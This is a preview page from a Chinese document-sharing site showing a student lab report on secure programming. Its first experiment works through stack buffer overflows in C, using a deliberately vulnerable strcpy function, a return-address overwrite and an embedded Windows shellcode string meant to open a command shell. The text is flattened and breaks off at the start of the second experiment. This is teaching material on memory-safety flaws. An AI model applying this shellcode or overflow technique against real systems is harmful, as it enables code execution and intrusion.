会员注册 | 登录 | 微信快捷登录 支付宝快捷登录 QQ登录 微博登录 | 帮助中心 人人文库renrendoc.com美如初恋!
站内搜索 百度文库

热门搜索: 直缝焊接机 矿井提升机 循环球式转向器图纸 机器人手爪发展史 管道机器人dwg 动平衡试验台设计

   首页 人人文库网 > 资源分类 > DOC文档下载

安全程序设计实验报告.doc

  • 资源星级:
  • 资源大小:1.22MB   全文页数:24页
  • 资源格式: DOC        下载权限:注册会员/VIP会员
您还没有登陆,请先登录。登陆后即可下载此文档。
  合作网站登录: 微信快捷登录 支付宝快捷登录   QQ登录   微博登录
友情提示
2:本站资源不支持迅雷下载,请使用浏览器直接下载(不支持QQ浏览器)
3:本站资源下载后的文档和图纸-无水印,预览文档经过压缩,下载后原文更清晰   

安全程序设计实验报告.doc

实验报告课程名称学院姓名班级学号年月日实验一缓冲区溢出安全问题一什么是缓冲区溢出缓冲区溢出是指当计算机向缓冲区内填充数据时超过了缓冲区本身的容量而溢出某些情况下,溢出的数据只是覆盖在一些不重要的的内存空间上,不会产生严重后果但是一旦溢出的数据覆盖在合法数据上,可能会给系统带来巨大的危害。实验程序运行调试缓冲区溢出P02_03.C,P02_04.C,P02_05.C,P02_06.C二实验步骤1打开microsoftvisualstudio6.0选择microsoftvisualcFilenew–projects–win32consoleapplication(项目名称P0203)Filenewfilescsourcefile编辑程序includeincludevoidfunctioncharinput{charbuffer10strcpybuffer,inputprintfCallfun1,buffers\n,buffer}intmainintargc,charargv{functionargv1return0}Build–compilep0203.cppbuildp02.exe查找到工程所在地址例如D\p02.exe2开始运行cmd输入D(进入D盘)输入CDP02\Debug(进入生成exe所在文件)输入P02security会显示输入p02abcdefghijklmnopqrstuvwxyz1234567890弹出应用程序错误警示框,提示为3将代码修改为includeincludevoidfun1charinput{charbuffer10strcpybuffer,inputprintfCallfun1,buffers\n,buffer}voidfun2{printfcallfun2}intmainintargc,charargv{printfAddressoffun2p\n,fun2fun1argv1return0}输入p02abcde显示输入p02abcdefghijklmnopqrstuvwxyz1234567890弹出应用程序错误警示框,提示为4代码修改为includeincludevoidfun1charinput{charbuffer10strcpybuffer,inputprintfCallfun1,buffers\n,buffer}voidfun2{printfcallfun2}intmainintargc,charargv{printfAddressoffun2p\n,fun2fun1abcdefghijklmnopqrstuvwxyz12\x05\x10\x40return0}直接调用程序,无法像书中所说可以调用fun2函数,因为找不到下一个buffer区的入口5指令通用跳转地址为0x7ffa4512includeincludevoidfun1charinput{charbuffer10strcpybuffer,inputprintfCallfun1,buffers\n,buffer}intmainintargc,charargv{charbufferabcdefghijklmnopqrstuvwxzy12\x12\x45\xfa\x7f\x55\x8B\xEC\x33\xC0\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x77\x1d\x80\x7c\x52\x8D\x45\xF4\x50\xFF\x55\xF0\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4\x50\xB8\xc7\x93\xbf\x77\xFF\xD0\x83\xC4\x12\x5Dfun1bufferreturn0}运行程序,并不能像书中所说调出一个控制台命令窗口,因为实验室所装操作系统的缘故。理论上应该能行的通。实验二整数溢出问题12345

注意事项

本文(安全程序设计实验报告.doc)为本站会员(liyun)主动上传,人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知人人文库网([email protected]),我们立即给予删除!

温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载不扣分。

copyright@ 2015-2017 人人文库网网站版权所有
苏ICP备12009002号-5